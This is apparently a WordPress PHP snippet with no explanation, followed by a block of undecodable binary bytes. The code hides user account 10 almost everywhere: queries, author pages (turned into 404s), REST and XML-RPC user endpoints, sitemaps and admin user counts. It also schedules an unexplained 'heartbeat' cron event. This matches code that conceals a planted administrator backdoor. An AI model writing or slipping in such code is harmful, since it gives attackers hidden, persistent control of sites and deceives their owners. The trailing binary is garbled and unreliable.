add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 10;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 10 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 10 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 10;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 10;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 10;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/10(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 10;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
r90xݎwœN#ɒ,[mI,u u^^\P"Y(i-( Hd&W.#2מ<bRYמY4Սe3`^>/MnVJDM6+x]ucJ6
/u YШb%7TK~ 2⅟#_gsh-,Xͽ?.,mj\`]U溆Vu14V?İ}l̡x\0LhZrEk.v\N?+~j:̓cN7O,zY0,dcI&/|p]wЙg,9n>tkHbԡ~@Anҩ,@\a5R=RʮPH- `MTfuŢelIv|oԃwmjK@7Lt؉ڲim IACC/r@A?O
F k*u f6$uɚzڎm Wv~
_v] ؕ$,J˼j54WL,N3ltv$o"=5o=3z95v];:4A@*JZ(rmR_(,G7F*R.(兕ju\+Pݡ/!rI[pw5qr+bJYXXȀ0҅:Az؏ևsncW42~hYԻ:\RzTY,'J`^ &]L-?O^W%Qjlu&K/ϾaC* kEQ2\\sд՜j`طhQ[Cr+?>D&rs?Eޕ 3ՕܺTJT
-xȭL*w pű-asO%c ڧjBCiyIiuM[/-(:&`X?.fo#F)w_*$u,j0V՛[)hɦ&jANQ)\uq5gVCHzʿ ЂVh650Fm?E@IӸh8boocisC=C:4Xvz'[M>bj j kx t[~mW S9{L&P,)dæLED2.2t2{7'?:J+_ÈT9'ۇJ!zR)^\Bӳx>Ɠ3x_ɹv-A#."\6b3`R'2`2IV]x94G#g{QkL*4s$P|{?1DY.w^Ѕ[;Y ^4~Wo|ԟua7o?B]
z+'j#it`!#4<2x (9\W6Iv$į~
L$i00 O%*ǶP_ҧҰǣM;)4XUI5YOjI%:HZ ~%n10ځ)
>qOt0!L=VwJ2jN^^oB*eVV%EWrYVkT"(兿髖7o³_Hs'oGH<.'Ԁ0l|7pGCb2`